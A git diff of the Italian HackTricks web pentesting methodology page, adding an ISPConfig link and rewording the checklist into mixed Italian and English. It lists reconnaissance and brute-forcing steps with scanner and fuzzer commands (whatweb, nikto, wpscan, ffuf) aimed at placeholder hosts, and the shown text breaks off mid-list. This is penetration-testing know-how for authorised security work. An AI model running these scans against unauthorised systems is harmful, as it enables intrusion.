diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5d6679535..ccaa8f2fe 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -432,6 +432,7 @@ - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) + - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 3f5e09b03..abbc191e2 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni di Base +## Informazioni di base -Il servizio web è il servizio più **comune ed esteso** e esistono molti **tipi diversi di vulnerabilità**. +Il servizio web è il servizio più **comune e diffuso** e esistono molti **tipi diversi di vulnerabilità**. -**Porta predefinita:** 80 (HTTP), 443(HTTPS) +**Porta di default:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Guidance +### Linee guida Web API {{#ref}} @@ -26,46 +26,46 @@ web-api-pentesting.md ## Riepilogo della metodologia -> In questa metodologia supponiamo che tu stia attaccando un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ciascun dominio, sottodominio o IP scoperto con server web indeterminato all'interno dell'ambito. +> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato all'interno dello scope. -- [ ] Inizia **identificando** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia. -- [ ] Qualche **vulnerabilità nota** della versione della tecnologia? -- [ ] Utilizza qualche **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni? -- [ ] Qualche **scanner specializzato** da eseguire (come wpscan)? -- [ ] Avvia **scanner di uso generale**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti. -- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **scansione SSL/TLS** (se HTTPS). -- [ ] Inizia a **spiderare** la pagina web: È tempo di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati.** Controlla anche eventuali **risultati speciali**. -- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderata._ -- [ ] **Brute-Forcing delle directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**. -- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._ -- [ ] **Controllo dei backup**: Verifica se riesci a trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni. -- [ ] **Brute-Force dei parametri**: Prova a **trovare parametri nascosti**. -- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input dell'utente**, controlla tutti i tipi di **vulnerabilità** correlate. +- [ ] Inizia **identificando** le **tecnologie** utilizzate dal web server. Cerca **trucchi** da tenere a mente per il resto del test se riesci a identificare con successo la tecnologia. +- [ ] Esistono **vulnerabilità note** per la versione della tecnologia? +- [ ] Stai usando qualche **well known tech**? Qualche **useful trick** per estrarre più informazioni? +- [ ] Qualche **specialised scanner** da eseguire (come wpscan)? +- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o informazioni interessanti. +- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS). +- [ ] Avvia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **files, folders** e **parameters** in uso. Inoltre, controlla eventuali scoperte particolari. +- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere spidered._ +- [ ] **Directory Brute-Forcing**: Prova a brute force tutte le folders scoperte cercando nuovi **files** e **directories**. +- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere Brute-Forced._ +- [ ] **Backups checking**: Verifica se puoi trovare **backups** dei **discovered files** aggiungendo estensioni di backup comuni. +- [ ] **Brute-Force parameters**: Prova a trovare **hidden parameters**. +- [ ] Una volta che hai **identificato** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilities** correlati. - [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Versione del server (Vulnerabile?) -### Identificare +### Identifica -Controlla se ci sono **vulnerabilità note** per la **versione** del server in esecuzione.\ -Le **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** utilizzata. La **scansione Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:** +Verifica se esistono **vulnerabilità note** per la **versione** del server in esecuzione. +Le **HTTP headers** e i **cookies** della response possono essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Cerca **vulnerabilità dell'applicazione web** **versione**](../../generic-hacking/search-exploits.md) +Cerca **le** [**vulnerabilities della versione dell'applicazione web**](../../generic-hacking/search-exploits.md) -### **Controlla se ci sono WAF** +### **Controlla se è presente un WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Trucchi tecnologici web +### Trucchi per tecnologie web -Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben note utilizzate: +Alcuni **trucchi** per trovare **vulnerabilities** in diverse **technologies** ben note in uso: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -78,6 +78,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben - [**Golang**](golang.md) - [**GraphQL**](graphql.md) - [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**ISPConfig**](ispconfig.md) - [**IIS tricks**](iis-internet-information-services.md) - [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) @@ -88,7 +89,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php ha molti trucchi interessanti che potrebbero essere sfruttati)**](php-tricks-esp/index.html) +- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) @@ -98,30 +99,30 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html) +- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\ -Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). +_Tieni conto che lo **stesso dominio** può usare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\ +Se l'applicazione web sta usando una **tech/platform** nota elencata prima o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). -### Revisione del codice sorgente +### Source Code Review -Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale: +Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da parte tua un test **White box** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale test **Black-Box**: -- C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web? -- Come e dove sono salvate le **credenziali**? C'è qualche **file** (accessibile?) con credenziali (nomi utente o password)? -- Le **password** sono in **testo semplice**, **crittografate** o quale **algoritmo di hashing** è utilizzato? -- Viene utilizzata qualche **chiave master** per crittografare qualcosa? Quale **algoritmo** è utilizzato? -- Puoi **accedere a uno di questi file** sfruttando qualche vulnerabilità? -- Ci sono **informazioni interessanti su github** (problemi risolti e non risolti)? O nella **cronologia dei commit** (forse qualche **password introdotta in un vecchio commit**)? +- Esiste un **Change-log o Readme o Version** file o qualcosa con **version info accessibile** via web? +- Come e dove sono salvate le **credentials**? C'è qualche (accessibile?) **file** con credentials (usernames o passwords)? +- Le **passwords** sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato? +- Usa qualche **master key** per cifrare qualcosa? Quale **algorithm** viene usato? +- Puoi **accedere a uno di questi file** sfruttando qualche vulnerability? +- C'è qualche **informazione interessante su github** (issues risolti e non)? O nella **commit history** (forse qualche **password** introdotta in un commit vecchio)? {{#ref}} code-review-tools.md {{#endref}} -### Scanner automatici +### Automatic scanners -#### Scanner automatici di uso generale +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -133,9 +134,9 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### Scanner CMS +#### Scanner per CMS -Se viene utilizzato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso: +Se è presente un CMS, non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di succoso: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\ @@ -148,15 +149,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e eseguito qualche scanner. +> A questo punto dovresti già avere alcune informazioni sul web server usato dal cliente (se vengono forniti dati) e qualche trucco da tenere a mente durante il test. Se sei fortunato hai persino trovato un CMS e lanciato qualche scanner. -## Scoperta dell'applicazione web passo dopo passo +## Scoperta passo-passo della Web Application > Da questo punto inizieremo a interagire con l'applicazione web. ### Controlli iniziali -**Pagine predefinite con informazioni interessanti:** +**Pagine di default con informazioni interessanti:** - /robots.txt - /sitemap.xml @@ -167,26 +168,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forzare errori** -I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**. +I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilities** o **rivelare informazioni sensibili**. -- Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.ecc) -- **Aggiungi "\[]", "]]", e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori -- Genera errori fornendo input come **`/~randomthing/%s`** alla **fine** dell'**URL** -- Prova **diversi verbi HTTP** come PATCH, DEBUG o errati come FAKE +- Accedi a **fake pages** come /whatever_fake.php (.aspx,.html,.etc) +- **Aggiungi "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values per creare errori +- Genera un errore fornendo in input **`/~randomthing/%s`** alla **fine** dell'**URL** +- Prova **different HTTP Verbs** come PATCH, DEBUG o errati come FAKE -#### **Controlla se puoi caricare file (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **caricare file** nella cartella radice, prova a: +Se trovi che **WebDav** è **enabled** ma non hai sufficienti permessi per **uploading files** nella cartella root prova a: -- **Brute Force** le credenziali -- **Carica file** tramite WebDav nel **resto** delle **cartelle trovate** all'interno della pagina web. Potresti avere permessi per caricare file in altre cartelle. +- **Brute Force** credentials +- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. -### **Vulnerabilità SSL/TLS** +### **SSL/TLS vulnerabilites** -- Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM** -- Se l'applicazione **invia dati sensibili (password) utilizzando HTTP**. Allora è una vulnerabilità alta. +- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerable to MitM** +- Se l'applicazione sta **inviando dati sensibili (passwords) usando HTTP**. Allora è una high vulnerability. -Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità: +Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilities** (In Bug Bounty programs probabilmente questo tipo di vulnerabilities non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -202,56 +203,56 @@ Informazioni sulle vulnerabilità SSL/TLS: ### Spidering -Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati web crawling e fonti esterne per trovare il maggior numero possibile di percorsi validi. +Avvia una sorta di **spider** all'interno del web. Lo scopo dello **spider** è **trovare quanti più percorsi possibile** dell'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): spider HTML, LinkFinder in file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): spider HML, con LinkFinder per file JS e Archive.org come fonte esterna. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): spider HTML, indica anche "file succulenti". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML interattivo da CLI. Cerca anche in Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi semplicemente indicare un file con host e un file con percorsi e meg recupererà ogni percorso su ogni host e salverà la risposta. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): spider HTML con capacità di rendering JS. Tuttavia, sembra che non sia mantenuto, la versione precompilata è vecchia e il codice attuale non si compila. -- [**gau**](https://github.com/lc/gau) (go): spider HTML che utilizza fornitori esterni (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà. -- [**galer**](https://github.com/dwisiswant0/galer) (go): spider HTML con capacità di rendering JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): spider HTML, con capacità di abbellimento JS in grado di cercare nuovi percorsi in file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja dell'infosec. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi da file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso utilizzando espressioni regolari per trovare ed estrarre gli URL relativi da file brutti (minificati). -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogliere informazioni interessanti da file JS utilizzando diversi strumenti. -- [**subjs**](https://github.com/lc/subjs) (go): Trova file JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli URL caricati per caricare la pagina. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di scoperta dei contenuti che mescola diverse opzioni degli strumenti precedenti. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri in file JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, ti fornirà il codice JS abbellito. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider di sicurezza web con GUI multi-funzione progettato per professionisti della sicurezza informatica. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile +- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. +- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. ### Brute Force directories and files -Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\ -Strumenti: +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ +Tools: -- **Dirb** / **Dirbuster** - Inclusi in Kali, **vecchi** (e **lenti**) ma funzionali. Consentono certificati auto-firmati e ricerca ricorsiva. Troppo lenti rispetto ad altre opzioni. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Non consente certificati auto-firmati ma** consente ricerca ricorsiva. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Consente certificati auto-firmati, **non ha** ricerca **ricorsiva**. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Veloce, supporta ricerca ricorsiva.** +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, eliminerà gli URL "duplicati". -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione di Burp per creare un elenco di directory dalla cronologia di burp di diverse pagine. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) +- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. -**Dizionari raccomandati:** +**Recommended dictionaries:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -267,41 +268,41 @@ Strumenti: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere brute-forzata._ +_Notare che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, questa dovrebbe essere brute-forced._ -### Cosa controllare in ogni file trovato +### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover. -- **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile. -- _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers +- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il nome di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile. +- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**. -- Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web. -- **API keys**: Se **trovi qualche API key** c'è una guida che indica come utilizzare le API key di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** 